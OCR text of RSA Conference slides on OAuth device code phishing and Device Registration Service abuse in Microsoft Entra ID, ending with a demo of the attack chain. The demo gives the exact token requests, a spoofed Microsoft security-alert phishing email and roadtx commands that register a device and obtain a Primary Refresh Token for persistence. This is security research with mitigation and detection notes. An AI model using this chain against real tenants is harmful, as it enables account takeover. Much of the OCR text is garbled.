@ Selected networks and locationg

Select D 03

Network New @

0 included

at least one location.

€ With "Selected locations" you must choose

None
€ Choose at least one location D .

o To create a Conditional Access f
ensuring your tenant's membery

Office 365 O

Office 365 Admin for Okta Workflows
6a0863b0-fd21-44b9-8445-4425d862198e

Office 365 Exchange Online
00000002-0000-0ff1-ce00-000000000000

Office 365 Information Protection
213f02¢9-5679-4a5¢-a605-0de55b07d 135

Office 365 SharePoint Online
00000003-0000-0ff1-ce00-000000000000

Office Delve
94c63fef-13a3-47bc-8074-75af8c65887a




Confusing Access Policies (CAP)

OAUth UnOAUthorized: Discovering the path to privilege elevation to Global
-> Device Reg Svc SP Administrator. Eric Woodruff. Abuse of OAuth and the Device Aug 2024

. Registration Service.
-> Global Admin 3

Enforcement of Authentication Flows policies on Device Registration Service resource

Starting early September, 2024, Microsoft will begin enforcing authentication flows policies on Device Registration Service. This will apply
only to policies which target all resources in the resource picker. If your organization currently uses Device Code Flow for device
registration purposes, and you have an authentication flows policy targeting all resources, you will need to exempt the Device Registration
Doc Resource from the scope of your conditional access policy to avoid impact. You can find the Device Registration Service resource in the
Target Resources option present within the Conditional Access policy configuration experience. To exempt Device Registration Service via
Conditional Access UX, you will need to go tcl Taraet Resources -> Exclude -> Select excluded cloud aEEs -> Device Reaistration'
Service. For API, you will need to update your policy by excluding the Client ID for Device Registration Service: 01cb2876-7ebd-4aa4-
9cc9-d28bd4d359a9.

If you are unsure whether your organization uses Device Code Flow against Device Registration Service, you can utilize the Microsoft Entra
Sign-in logs to determine this. There, you can filter for the Device Registration Service client ID in the Resource ID filter, and narrow it down
to Device Code Flow usage by utilizing the Device code option within the Authentication Protocol filter.
https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-authentication-flows

do | have to enable device code flow in my conditional access
policy for the device registration service to work?

Common Wisdom

No, you don't have to enable device code flow in your Conditional Access policy for the
I zSAC device registration service to work 1. In fact, Microsoft recommends blocking or

© 2025 RSA Conference LLC or its affiliates. Al | restricting device code flow wherever possible due to its high-risk nature 2 .




Continuous Access Evaluation (CAE)

User revocation event flow

Identity
Provider
”
< / .
& &
& ¥
> QO 2
& 3
& < <
& @ 2.
& & >
N~ ¥
’l’ ”.Vl \\
II’I I’I, \\\
CAE-capab[e client Resource
provider

RSAC
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User condition change flow

In the following example, a Conditional Access Administrator configured a location based Conditional Access policy
to only allow access from specific IP ranges:

Identity
Provider
. 2. Policy
/ v check
& o
o° &
ol O P
& > <
& & >
& & %
‘ 6. Policy
: : @ check
CAE- capab[e client - -~ Resource
N - provider
g0 €
%t fod o
pA o(’{ \'-,.P({ {S,
Allowed range 6?980" __-" <0
CAE- capable client




Continuous Access Evaluation (CAE)

Currently, the following Microsoft 365 services and apps support d

Services: 0 . . . .
* emc:s I Sure! Here's an example of how you can configure Continuous Access Evaluation (CAE) in
o Exchange Online X
) J Microsoft Entra to revoke an access token:
o Microsoft Teams
o OneDrive

1. Enable CAE for your applications: Ensure that both your application and the resource
API it accesses are CAE-enabled 1 . This involves updating your application to handle
e Apps: The following apps support continuous access evaluati CAE responses correctly 1.
Mac, i0S/iPadOS, and Android:
o Microsoft Office”
o Microsoft Outlook

o SharePoint

2. Handle CAE responses: Modify your application to handle responses from the
resource APl when the access token is revoked 1 . For example, if the API call returns a

‘ U4e1 Unauthorized status with a WwwW-Authenticate header containinga Claims
o Microsoft Teams

Challenge , your application should use this challenge to acquire a new access token

Some Support (MSFT) ' Change Your Code

o OneDrive

o SharePoint

* Claim challenge isn't supported in Office on the web. Here's a sample code snippef in C#:
For apps that don't support continuous access evaluation, th B e Csharp O Copy
at one hour by default.

Several Microsoft applications support Confinuous Access Evaluation (CAE) 1 . Here are // Check for UGl Unauthorized status and WwiW-Authenticate header

some of the key ones: if (APIresponse.StatusCode == System.Net.HttpStatusCode.Unauthorized && API:

{

1. Exchange Online: Ensures that user sessions are revoked in near real-time when

string claimChallenge = WwwAuthenticateParameters.GetClaimChallengeFromF

critical events occur, such as user termination or password changes 1.

try

2. Microsoft Teams: Provides real-time enforcement of Conditional Access policies {

based on critical events 1 . authResult = await _clientApp.AcquireTokenSilent(scopes, firstAccour

.WithClaims(claimChallenge
3. SharePoint Online: Revokes access tokens promptly in response to critical events, ( 9 )
_ _ .ExecuteAsync();

enhancing security 1. 3
4. Microsoft Graph API: Can check for events from Microsoft Entra ID and enforce catch (MsalUiRequiredException ex)

reauthentication if necessary z . {
5. Global Secure Access (GSA): Universal CAE extends benefits to any application // Handle the case where user interaction is required

3 accessed with GSA, even if the application is not CAE-aware 3 .

© 2025 RSA Conference LLC These applications help ensure that access tokens are promptly revoked and revalidated
in response to critical events, improving security and compliance 1 3.
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Aug 2019 OAuth 2.0 Device Authorization Grant
Device Code Flow Spec

Dr. Nestori Syynimaa (@DrAzureAD). Oct 2020

Device Code Phishing attack with impersonation of Outlook client id Nov 2020 Non-interactive sign-in logs added in Entra ID. Microsoft.[1]

and lateral movement via changing of scopes.
o e Device code original transfer method added to sign-in logs.

Nov 2021 Microsoft.[1]

30+ Microsoft apps (FOCI) allow token scope changes/lateral movement
due to SSO. Secure‘.‘d‘ﬂrks. OAuth used for SSO. Mar 2022 Token Theft Prevention {dPGP) — Nth Time is the Charm.

Jun 2022 Microsoft. Token binding.

Taking a Dump in The Cloud. Flangvik. Automated tools for data exfil
using OAuth device code flow-SSO.

Phishing for Primary Refresh Tokens and Windows Hello keys. Dirk-jan Conditional Access Evaluation supports revocation of
Mollema. OAuth device code phish -> PRT Oct 2023 Oct 2023 refresh token. Microsoft.

Aug 2022

Midnight Blizzard: Guidance for responders on nation-state
Jan 2024  attack. Microsoft. Exploit: OAuth apps for access, priv
esc, and persistence.

Feb 2024 Original transfer method added to sign-in logs. Microsoft.

Original transfer method (device code flow) added to
Mar 2024 Conditional Access Policies. Multiple changes throughout

UnOAUthorized: Discovering the path to privilege elevation to Global 2024. Microsoft.[1]

Administrator. Eric Woodruff. Abuse of OAuth and the Device Aug 2024
Registration Service.

Storm-2372 conducts device code phishing campaign

Feb 2025 (Microsoft, 2/14/2025).
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Feb 2024 Original transfer method added to sign-in logs. Microsoft.

Original transfer method (device code flow) added to
Mar 2024 Conditional Access Policies. Multiple changes throughout

UnOAUthorized: Discovering the path to privilege elevation to Global Pyl B
2024. Microsoft.[1]

Administrator. Eric Woodruff. Abuse of OAuth and the Device Aug 2024
Registration Service. v

Storm-2372 conducts device code phishing campaign
(Microsoft, 2/14/2025).

Feb 2025

‘ Logging changes (UTI), July 2025, Microsoft.

!
?

Microsoft.

‘ WFHB User Key (no longer in Azure Portal), ~2H 2025,

RSAC
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Knowledge

Jan 2024

|
Midnight Blizzard: Guidance for responders on nation-state
attack. Microsoft. Exploit: OAuth apps for access, priv

New Attack Technique Targets Microsoft Teams Access

Tokens

Microsoft Teams Security Token Theft Cybersecurity Risks Data Exfiltration

Microsoft Graph API

Avi Kapoor
Customer Success

Vulnerability

9 November 4,2025 O 13 minread

esc, and persistence.

Feb 2024 Original transfer method added to sign-in logs. Microsoft.
DPAPI Original transfer method (device code flow) added to
Mar 2024 Conditional Access Policies. Multiple changes throughout

2024. Microsoft.|

g 2024

\4

7 2 conducts device code phishing campaign

Summary

Microsoft Teams is under attack as threat actors exploit a new vulnerability to
method allows attackers to gain unauthorized access to chats, emails, and sen
decrypting tokens stored locally. Organizations must implement robust security

suspicious activities, and educate users to defend against these sophisticated

Microsoft Teams Targeted by Cybercriminals and State-Spa

The extensive collaboration features and global adoption of Microsoft Teams mak
cybercriminals and state-sponsored actors. Threat actors abuse its core capabilitie
and meetings, and video-based screen-sharing — at different points along the attac

has been strengthened by design under Microsoft’s Secure Future Initiative (SFI), d

the most out of customer-facing security capabilities.

RSAC

© 2025 RSA Conference LLC or its affiliates. All rights reserved.

mFebruary, Microsoft reported that Storm-2372 had been capturing authentication tokens by exploiting devia

@kens.

Persistence

Threat actors employ a variety of persistence techniques to maintain access to target systems—even after
defenders attempt to regain control. These methods include abusing shortcuts in the Startup folder to execute
malicious tools, or exploiting accessibility features like Sticky Keys (as seen in this ransomware case study).
Threat actors could try to create guest users in target tenants or add their own credentials to a Teams account to

maintain access.

code authentication flows, partially by masquerading as Microsoft Teams meeting invitations and initiating
Teams chats to build rapport, so that when the targets were prompted to authenticate, they would use Storm-

2372-generated device codes, enabling Storm-2372 to steal the authenticated sessions from the valid access

J




Next Steps

Knowledge
Concepts/Patterns: attack chain and defensive controls
TTP: OAuth, PRT, Lateral Movement (SSO), Persistence, Microsoft Services (DRS)

Risk assessment: current environment

Mitigation

CAP: preventative controls based on IP and device with device registration focus

Detection
Post-authentication detection focus -- difficult

More information
RSAC Cloud Villages Live Q&A webinar on RSAC Community: January 21 @ 10am EST
Presentation: RSAC Community Library
Demo Scripts: https://github.com/edleft/content/rsac2026

RSAC

© 2025 RSA Conference LLC or its affiliates. All rights reserved.
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Visit https://www.cloud-village.org to know more!

Thank you from Cloud Village

Cloud Village's 3rd Year at RSAC and 8th year overall in the cloud security space.

Talks Capture The Flag
Lightning talks Cloud-security based challenges across all major
Standard talks Cloud Service Providers
Tool Demos 50 hours of non-stop Capture The Flag contest

CTF 101 workshop
Panel Discussions

Industry experts discussing offensive and defensive Volunteer, Contribute, and Learn

aspects of Cloud Security Call for Volunteers
Call for Papers
Cloud Village Labs Call for Labs
Short-hand techniques Call for Sponsors

Tool Setup and walk-through
Workshops

Jenko Hwong
Principal Threat Researcher

https://linkedin.com/u/jenkohwong

RS n C https://github.com/edleft/content/rsac2026

© 2025 RSA Conference LLC or its affiliates. All rights reserved.
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Demo (Screenshots)




OAuth device code phish

Device Registration o

Abuse

Keys to Attack:

Assumed Application Identity

SSO & OAuth
] Office 365 Conflicts

lateral
movement(2

Attacker

Office 365 ->
Azure

OAuth
Tokens

A

. https://microsoft.com/... Azure

Username

[1] Dr. Nestori Syynimaa (@DrAzureAD), 10/13/20, User Password

[2] Ryan Marcotte Cobb, Tony Gore, 3/23/22, https://github.com/secureworks/family-of-client-ids-research © 2022 Jenko Hwong




Device Registration

Abuse

B e e e e e e e i e
# Storm-2372 Abuse Demo: Obtaining a PRT with persistence by abusing device code phishing
# and the Windows Hello For Business registration process.

Acknowledgements:
- Dr. Nestoori Syynimaa (OAuth device code phishing)
- SecureWorks Research Team (FOCI)
- Dirk-jan Mollema (Research on WFHB/PRT abuse and the specific
TTP used in Storm-2372 >12 months before the Microsoft advisory.

Attack Flow

1. Device code phish

1.1. Attacker initiates device code flow, using Microsoft MAB client id and
Microsoft enrollment service resource
Attacker email phishes user
Attacker waits for victim to authorize (Microsoft standard OAuth endpoints)
Attacker obtains OAuth tokens authorized by victim (MAB -> enrollment service)

o e
BwN

2. Device registration
2.1. Attacker refreshes tokens (MAB -> device registration service resource)
2.2. Attacker uses DRS QOAuth access token to register a device to domain
and obtain WFHB device cert/key (.pem)

3. PRT
3.1. Attacker uses WFHB device cert/key and DRS OAuth access token to obtain PRT

4. Persistence
4.1, Attacker enriches PRT with NGC MFA claim
(time limit to avoid MFA, needed to create new WHFB device key)
. Attacker registers/retrieves new Windows Hello key (for persistence)
. Attacker creates new PRT key (tests new WHFB key)
. Access browser login with new PRT

T E E T T T T T E T T T T T s
NN
B wN

B e e e

attacker-host:~ $ t

OAuth device code phish ————
1. Initiate device code flow




OAuth device code phish ————

Device Registration o 1. Intiate device code flow g

Abuse

MR A R A R S A A R R S A B S R A S R A A S A A
# 1.1. Get a new user code and device code

# client id: Microsoft Authentication Broker

# resource: Enrollment Service

Ha e R S R R A

Request:

POST https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0

{
"resource”: "https://enrollment.manage.microsoft.com",
"client_id": "29d9ed98-a469-4536-ade2-f981bcld6@5e"
}
Response:
user_code : BMH4BNLQ9
device_code : BAQABIQEAAABVrSpeuWamRamZ jAF1XRQEirwgG09gN7_j1CkZ0pYARASL81P-K5V-mpFqzmlPk7U3TAKguzvVEtWvXWdfrYcvxeIhXHdT4PTw2BhWijUliG4XCgEnZP+

toNE5kGMO1iTs6rZ@rXU8B8XwASWW1xNOogpAdQDD8taWxts1diiPj3RpO3QNAwgAA
verification_url : https://microsoft.com/devicelogin

expires_in : 900
interval : 5
message : To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code BMH4BNLQ9 to authenticate.

Press [Enter] to send phish email(s):



OAuth device code phish ————

DeVice Reg iSt ration 1. Initiate device code flow g

2. Send phish

Abuse 3. Wait for victim to authorize

HURHAR SRR B R R AR R AR S i i i
# 1.2. Send phish email
HUBHARB AR AR R R R R R S i i i
To: merlin@cloudy-daze.com
Code: BMH4BNLQ9
URL: https://microsoft.com/devicelogin

R A A R A
# 1.3. Waiting for user to authenticate...polling for oauth tokens
# client id: Microsoft Authentication Broker

# resource: Enrollment Service
g g g

Request:

POST https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0
{

"resource"”: "https://enrollment.manage.microsoft.com",

"client_id": "29d9ed98-a469-4536-ade2-f981bcld6@5e",

"code": "BAQABIQEAAABVrSpeuWamRam2jAF1XRQE1irwgG09gN7_j1CkZOpYARASL81P-K5V-mpFqzmlPk7U3TAKguzvVtWvXWdfrYcvxeIhXHdT4PTw:
iTs6rZ@rXU8B8XwA5WW1xNOoqpAdQDD8taWxtsldiiPj3Rp0O3QNAwgAA",

"grant_type": "urn:ietf:params:oauth:grant-type:device_code"



. . . OAuth device code phish >
Device Reglstrat|on 1. Initiate device code flow

2. Send phish

Abuse 3. Wait for victim to authorize

Microsoft account security alert C 23 https://login.microsoftonline.com/common/oauth2/deviceauth
Microsoft account team <account-security-noreply@azure365-microsoft.com= 118 AM (less than a minute ago) Click to go back, hold to see history 'alytics [ UX [ Jira [ Wiki [ Microsoft [ Google [ Demo [O
to merlin@cloudy-daze.com w merlin 5 % O <3Replytoall Actionsw

B Microsoft
B Security

Incident: BZJGSBGDV

Attempted logins to your Office 365 account were detected by the Microsoft Security team:

Sign-in details

Country/region: Russia (Moscow City)

IP address: 82.148.20.19

Date: Wed, 22 Oct 2024 14:40:27 +0000

Platform: Windows 11 B .
Browser: Edge B Microsoft

Due to the recent attacks on Exchange by foreign countries (see our Microsoft blog: Analysis of Storm-0558 techniques for
unauthorized email access), Microsoft Security is proactively warning all customers when we detect this kind of activity.
Compromise of business email is a commen tactic by cybercriminals to obtain confidential infermation about organizations.

Enter code to allow access

Once you enter the code displayed on your app or
If this was valid sign-in activity, you do not need to do anything. If this activity was net authorized, login to your Outlook 365 device, it will have access to your account.
account using multi-factor authentication to verify your identity, and the Microsoft Security team will open an investigation and

respond within 36 hours. Do not enter codes from sources you don't trust.

To login to your Office 365 account:

1. Go to the official Microsoft login page at: https://microsoft.com/devicelogin BZJGSBGDV

2. Enter the incident #: BZJGSBGDV
Investigative action will only be taken if you are able to successfuly login with MFA.

3. Enter your Outlook credentials and your MFA one-time password to verify your identity. Next




. . . OAuth device code phish >
Device Registration o 1. Initiate device code flow

2. Send phish

Abuse 3. Wait for victim to authorize

o

=. Microsoft =. Microsoft
.. ae Microsoft
s'Q“ in merlin@cloudy-daze.com
You're signing in to Microsoft Authentication & merlin@cloudy-daze.com E t d
Broker on another device located in United States. nier coae
If it's not you, close this page. Enter pﬂSSWﬂrd

[=] Enter the code displayed in t

merlin@cloudy-daze.com| | | seeseesssssssssseses app on your mobile device

Mo account? Create one!

Forgot my password 534[]?5'

Can't access your account?

Having trouble? Sign in another way

o EEER




»

. . . OAuth device code phish >
Device Registration ‘ o 1 Iniiate device code flow

2. Send phish
Abuse

3. Wait for victim to authorize

o

" Microsoft " Microsoft

merlin@cloudy-daze.com

Microsoft Authentication
Are you trying to sign in to Broker
Microsoft Authentication

You have signed in to the Microsoft Authentication
Broker? Broker application on your device. You may now

close this window.
Only continue if you downloaded the app from a

store or website that you trust.



. Obtain OAuth tokens ———
Device Registration : ?fii&”@?é‘th / s

Abuse @. AZure

R A R R R R R
# 1.4. Retrieve oauth tokens (access + refresh)

# client: Microsoft Authentication Broker

# resource: Enrollment Service

R R R R R R R a a R R i d a R s R R g

Response:

token_type : Bearer

scope : mdm_delegation

expires_in : 5370

ext_expires_in : 5370

expires_on : 1743923960

not_before : 1743918289

resource : https://enrollment.manage.microsoft.com

access_token : eyJl@eXAi01JKV1QiLCIhbGci01iJSUzIINiIsIng1ldCI6IkNOdjBPSTNSd3FsSEZFVmShb@1Bc2hDSDIYRSIsImtpZCI6IkNOdjBPSTNSA3FsSEZFVmShb@1E
odHRwczovL2Vucm9sbG11bnQubWFuYWd1LmlpY3Jvc29mdC5jb2@1iLCIpc3Mi0iJodHRwczovL3NAcy53aW5kb3dzLm51dCOmN2ZMSNDkwMi@xY jcSLTRINTk
vIiwiaWF@IjoxNzQz0TE4Mjg5LCIuYmYi0jE3NDMSMTgyODksImV4cCIGMT cOMzkyMzk2MCwiYWNyIjoiMSIsImFpbyI6IkFXUUFtLzhaQUFBQVBXaFV6ecT1
yL3ES5aUpMWW1Sa3da0DZHR1hpSUNkazIyeFFMYWVMS3VhZEZxMDNOTVICWExrVmdVcVZSbEhUOGISS3hKNEpEK2xXQn1FNkIXW1ZFZS9UZkZ6aUhiTUd3Zz\
yIjpbInB3ZCIsImimYSIdLCIhcHBpZCI6IFISZD11ZDk4LWEGN jktNDUZNi1hZGUyLWYSODFiYzFkNJA1ZSIsImFwcGLkYWNyIjoiMCIsImZhbW1seVOuYW]
2ZWS5fbmFtZSI6Ik1lcmxpbilsImlkdHIwIjoidXNlciIsImlwYWRkciI6IjEWNC4AyLjc@OLjIzIiwibmFtZSI6Ik11lcmxpbilsImOpZCI6ImU3MzFhNmQyLW]
@0DhjZWNkYSIsInB1aWQi0iIxMDAzMjAWMTVCRDMzOUQS5IiwicmgiOiIxLkFVWUFBa25KO0TNrY1ldVeVhzMkpRT3JaT1UXxWE820VIhQWIWSmIIUELUUMVY cm<
tZG1fZGVsZWdhdGlvbiIsInNpZCI6IjAWMZ2RmY jQSLTUzMmItZGIN0SOIM]cxLWQSMjY1Y2ZhZmQyYSIsInN1YiI16IjJOSDIRZWNtQUktbGIoNLBEUFAycU®
YSUUiLCI@aWQi01iImN2ZMSNDkwMi@xY jcSLTRjNTkt0TdiMy@2MjUwWMZ2FiNJRINTMiLCI1bmlxdWVfbmFtZSI6Im1lcmxpbkBjbG91ZHktZGF6ZS57b201LC]
S5LWRhemUuY29tIiwidXRpIjoiVjNVbFI@ZW1IVUs@ZHZIVDZ3bi1BQSIsInZlciI6IjEUMCIsIndpZHMi01siMTU4YZAON2ELY zkwNy@@ONTUZLWI3ZWY£ND(
OY2ItY; EyNi@OMGIyLWIKNWItNjASMNIzODASNzdkIiwiNjJ10TAzOTQENj1ImNS@OMM3LTkxOTATMDEYMTc3MTQLZTEWIiwiY jc5ZmImNGQtM2VmOSOON j¢
5110sInhtc19pZHI1bCI6IjEgMjgifQ.gIOWO2pUuByfxWc2WCUuHLfRyf1vZ8rnaTVRk99m_Yd82LIR3-Web_1BIwgwySIwfb5uuSFpqdRIWW60Qp-1iiyel
IKDy65RS-1tsagYYamSF8LrmGN_brHOwjRhQGaHOb3G_KK4_ngEFOxYEmd7viW8t04ksquPzV6IErfseXWILMLBVqOufXxH74UbKoMbRmdgwY2sfCtq3zhzel
sZobfgalUEkxwCytbBvgnLd2-ssEeTalNZqdZLK1cu54Q1xXRbzAd8zAFhe8Lx-dTOX8Ax-6yWvnrlinE@VMTIQ

refresh_token : 1.AUYAAkn]93kbWUyXs21QOrZOU5jt2S1ppDZFrelL5gbwdYFS5GACNGAA.AgABAWEAAABY rSpeulNamRam2jAF1XRQEAwWDs_wUA9P8mLRCix5ISV5Fjelukg2c
SkcD@m3cQuadFCIbvIDCtez06z0Rdct4AnA475BtX16HUCOPIGIF r8ACOkWeQR1IWRQ)xd62F0dmFF1Ld@WgT@PsqBOmTLOMFOgIIT1S5S7jp3y-5ri07vgbyth
2zRWf16S_Gto_SwwsemtOtlvb2v7uSfwlONACM-Sse5vagXNLM7Jvs1b86ymxDOEh22BPubLNoybfAxPLWN71h7Z8p7fzXAgqxxVH@a7uheHMBUTm7p64 _oy
ZAEFZwKtev]AjKTp876AtSXszjbCUn5jQ_PYORoX11_aKQidNU64bRVk3z2giZ13HwqSiSarB9tLZP5B9S1kjzkd6dp_nZ6CXv5SNFpDNLVAotLHETuBA811:
J1gvGFQLIuEEWh_1gqblhEJBKLFyYG5A0P_cAP7rEFIdhv008F@16gWyRt24Wt1Ivwlue-SKrEmhNwyW8IgW1 fq@97Ic@]3ymQM]jyI@CDGCEgBfpjQNFgVNSC
jwo51J3KXS5t2-p7xztEb4FsIZGnCq@vPK-rW5h36eUTF61szM3kNB-VPyFssejrRoh1JZsFaCYEr8Rc_MIyM1q9HmeZ@d@sMrv@hMyrFcZL4N6HAUISm5vQ]
0eqzAL6YBNQKOBAsVIt5QcpOBWdnpR__4WNOeCONXTKx3p8RIG7FmeGGn8TV2 fowAbh1@LqlwnTBcoA9vkZ -dOw



DeVice Re iStration 4. Obtain OAuth Obtain OAuth tokens 5. Refresh OAuth S
g token (DES token (DRS)

s
Abuse . Azure

R R R A R R R
# 1.5. Use refresh token to get new access token

# client id: Microsoft Authentication Broker

# resource: Device Registration Service

# grant_type: refresh_token

# scope: openid

#

R R R R R R
Request:

POST https://login.microsoftonline.com/Common/oauth2/token
{

"client_id": "29d9ed98-a469-4536-ade2-f981bcld6@5e",

"resource": "urn:ms-drs:enterpriseregistration.windows.net",

"refresh_token": "1.AUYAAknJ93kbWUyXs21Q0rZOU5jt2S1ppDZFrel5gbwdYFS5GACNGAA . AgABAWEAAABVrSpeulWamRam2 jAF1XRQEAwWDs_wUA9P85b4@ysFZvkoaKnghllUGuB1d7JCT1KS_TzM-erf.
r-LEJgWyy22078tINkIBBvbM?77aHyZWxM4aQCgmP1UDqiAS_gqKoCoZgPLURs1E@hkuSNpBK1GT3A7eGuEpsW]cQSwb2wjDBs]J@SVoDaZZEpmoBhnjfKnTQalyulozaj0@LzjqVHi7aX13tFINkchgSHHbGY2GH
DZs5aTubUE7gM4@_I9a7tmstkAdHaSrZ33DGxcMhnWBXItfB1i88BypfdlamvirNKE7EVGxZhhkKn0Tz3rhN2WwefUORXDY1BVIrGrKQVFvjaC4CQ7tUzVM1XuOWrELA3XEqoZFz-1rcuXPBUkxXFigNQ7ASISWw
Ju8BVLjOLre71vDulGv8_J97iaS2r6f6aEUGCimVAI-u_Q_3_IK5InXak9FN990TIi2qwS5FWLEP1-13T-WalUh31gyZn8zI@aEyrdhG2WnSh1gS@7sTI7Zf3yY_B9PrFz0jnAiCtxyDCazUaXLeSwWUXFUzIcN7M
6XDEdFYo@08YS6I6IM1QBkOHNmMCjjR17UENYfARFGRDQPQSBzgcIBQYgx-ysm-kws9Y_EdrBHSrwaZaFLGIck®@hMFbDzHsc2X77YX1S17FLhtp01IXnN3RRd1j1gFcja9]mDEFYAz_cShOdxsbrC6q48HZjEro4:
1fMxY1i@HLKEKzZcr9HO_m4@P5SwmVMcY1FcLmgEi@mChI81iXMwgn2plBAOH4VIegokTLzIJaz0-1_h-jzTIJExgwUKIDk9dNkgfYUwPxXDj_ah9imGZ5v04xRXvTQSOHZtntfYR_3d8LAIdLg- jCoz4Kd-Chi4gxP:

"grant_type": "refresh_token",

"scope": "openid"

}

Response:

token_type : Bearer

scope : adrs_access

expires_in : 4180

ext_expires_in : 4180

expires_on : 1743925883

not_before : 1743921402

resource : urn:ms-drs:enterpriseregistration.windows.net

access_token : eyJ@eXAi0iJKV1QiLCIhbGci0iJSUzIINiIsIngldCI6IkNOdjBPSTNSA3FsSEZFVmShb@1Bc2ZhDSDIYRSIsImtpZCI6IkNOdjBPSTNSA3FsSEZFVmShb@1Bc2hDSDIYRSI9. eyJhdWQi0-

1cm46bXMtZHIz0mVudGVycHIpc2VyZWdpc3RyYXRpb24ud21uZG93cy5uZXQiLlCIpc3MiOiJodHRwezovL 3N@cy53aW5kb3dzLm51dCOmN2ZMSNDkwMi@xY jcSLTRjNTkt0TdiMy@2MjUwM:
iNjRINTMvIiwiaWFOI joxNzQzOTIxXNDAyLCIuYmYi0jE3NDMSMFE@OMDIsImV4cCIEMTcOMzkyNTg4MywiYWNyIjoiMSIsImFpbyI6IkFXUUFtLzhaQUFBQTVSeEpxakozcGUycDNsdXN1Z
MQerSyQLQ1k4Ujgr031VSXErSTFMRj1HthGblhJNGhmaFFYeGSGd29PM3VCK2MXM1JVN2hHUFdemSVchde9x20x4cFlthBDQZdlcHhBaUVpSnJWN3g4YjQ3eXVijBuTFVKYWhVW‘



Device Registration

Abuse

#H R S R
# 2.1. Using DRS OAuth access token

# => Register device

# => Obtain WFHB device cert/key (area4l.pem|KEY)

HH i S S R S S i

roadtx device -a register -n area4l [Y/n]:
Saving private key to area4l.key

Registering device

Device ID: a@25ald4-f76c-4bl2-9ded-7e@eafd8615c
Saved device certificate to area4l.pem

U S R S R A R R I R R S
# 3.1. Using device cert/key and DRS OAuth access token

# => Obtain PRT

R I S A R S R S I S

roadtx prt --refresh-token file -c ./area4l.pem -k ./aread4l.key [Y/n]:

Obtained PRT: 1.AUYAAknJ93kbWUyXs2JQOrZOUS53t2S1ppDZFrelSgbwdYFS5GACNGAA. AgABAWEAAABVrSpeuWamRam2 jAF1XRQEAwWDs_wUA9P-cBn6L2EJM1LgijZ3cuT65QdglZOCII3ppf5])62mL0gobkgn
_CDWnzUO3PK-SQ8WohMPyztVAep7njdEdoW2nNGFyeplcDFYvPVIvSPboE6zrl96ZythbzBjD@YmjaLlmFppSga-WVLe8V1TbFoxFhgZNvDFVA3sMI3BS3L2gW-ptmD6g@_nHs9kuj3HI72x-FIzXdU9NwoEbLG8x i
EDWoA_FXour--WeHSSTS3vGkWc4gWt4s0gUVg2evcMdakYtzwgkztVZ8vInBc4-xGeISDCotzm9]I6FEASRE29CheDkCfam7sGGesfoN4L Je8MaWOYAqRMutV2G_JX17Tsr0z2dbgbWFNeb@tdOPIvio-TGPP7x_2I
mRPQ_CEipt-SAvsuzvbgIkPX1eBE3ubYSzmCzWQMIKVXzF1I1HzONoTbaaV]_kOFPH8xrFhLNt5WZ80EmBtN98zmkGKGa_n-0MI3RUpUKYIbV1khiFGo8Z7vG1XnSiQgcqqEwR jbp2WQIwrf28QaCl@34gMYYsglB
rsqgT@dzWBnkAPZ1-S@HMonNiTrpBoREE1 1tMACxwD6agLOHgn6emABy7FYKBUOUFPzCX@5Q0YYzcpkCDyvG3PHMSgWDnSnlnguOfzDRAcxvA7ngv_-EhLzdzWEUYMw_hmoGQ@gS50XdUbSS5fulI_ZKuwxclUCnhDW)
Wz9uLPhPUgFcYGWFeFe-tdnrcY®j_3gXzTcQ-p@DcleZuBicCBVm7gLMoxrboWiCOuvTqyDhkWKr]jSWD4HNLbAV1LPOWby4Wrg8tmeopql7zTrI7JA8pONhevhks7PeSL1f3as8DWLHXZCS5ZuT211Q@MIWUN3T8aF
LB2bpzqA78A735Y1kRs1dTCO6cjKrdoVGCFdwdUoEYtlatyIvUVvI1R2rCstMSZ@3pbu-PdBtsmcdX6lrJHbgju2aw)45Km7DHBBN _dkY3yTBRMjBZ8RTSp86VIby3k6BELBfghohpMZ]-kmA

Obtained session key: 4d394f005dal38f9308639652d7131f3b74d462390%dcae2c458b088ecl336FF

Saved PRT to roadtx.prt



Device Registration

Abuse

HH i R S R S S
# 2.1. Using DRS OAuth access token

# => Register device

# => Obtain WFHB device cert/key (area4l.pem|KEY)

HH i G i S S R S i R

roadtx device -a register -n area4l [Y/n]:
Saving private key to areadl.key

Registering device

Device ID: a@®25ald4-f76c-4bl2-9ded-7e@eafd8615c
Saved device certificate to area4l.pem

U R R I S R R R A R A S
# 3.1. Using device cert/key and DRS OAuth access token

# => Obtain PRT

WA I S S I S A S A I S

roadtx prt --refresh-token file -c ./aread4l.pem -k ./aread4l.key [Y/n]:

Obtained PRT: 1.AUYAAknJ93kbWUyXs2JQOrZOUS53t2S1ppDZFrelSgbwdYFS5GACNGAA . AGABAWEAAABY rSpeulWamRam2 jAF1XRQEAwWDs_wUA9P-cBn6L2EJM1LgljZ3cuT65QdglZOCII3ppf5])62mL0gobkgn
_CDWnzUO3PK-SQ8WohMPyztVAep7njdEdoWZ2nNGFyeplcDFYvPVIvSPboE6zr]96ZythbzBjD@YmjaLlmFppSga-WVLe8V1TbFoxFhgZNvDFVA3sMOBS3L2gW-ptmD6g@_nHs9kuj3HI72x-FIzXdU9NwoEbLG8x ji
EDWoA_FXour--WeHSSTS53vGkWc4gWt4s0gUVg2evcMdakYtzwgkztVZ8vIn@c4-xGeISDCotzm91I6FEASRE29CheDkCfam7sGGesfEN4L Je8MaWOYAqRMutV2G_JX17Tsr0z2dbgbWFNebOtdOPIvio-TGPP7x_2I
mRPQ_CEipt-SAvsuzvbgIkPX1eBE3ubYSzmCzWQMIKVXzF1I1HzONoThbaaV]_kOFPH8xrFhLNt5WZ8BEmBtN98zmkGKGa_n-0MI3RUpUKYIbV1khiFGo8Z7vG1XnSiQgcqqEwWR jbp2WQIwrf28QaCl@34gMYYsglB
rsqgT@dzWBnkAPZ1-S@HMonNiTrpBoREE1LtMACxwD6agLOHgn6emAQy7FYKBUOUFPzCXA5Q0YYzcpkCDyvG3PHMSgWDnSnlnguOfzDRAcxvA7ngv_-EhLzdzWEUYMw_hmoGQ@gS50XdUbSS5fulI_ZKuwxclUCnDWJ]
Wz9uLPhPUgFcYGWFeFe-tdnrcY®j_3gXzTcQ-p@DcIleZuBicCBVm7gLMoxrboWiCOuvTqyDhkWKr]jSWD4HNLbAV1POWby4Wrg8tmeopql7zTrI7JA8pONhevhks7PeSL1f3as8DwWLHXZCS5ZuT211QOMIWUN3T8aF
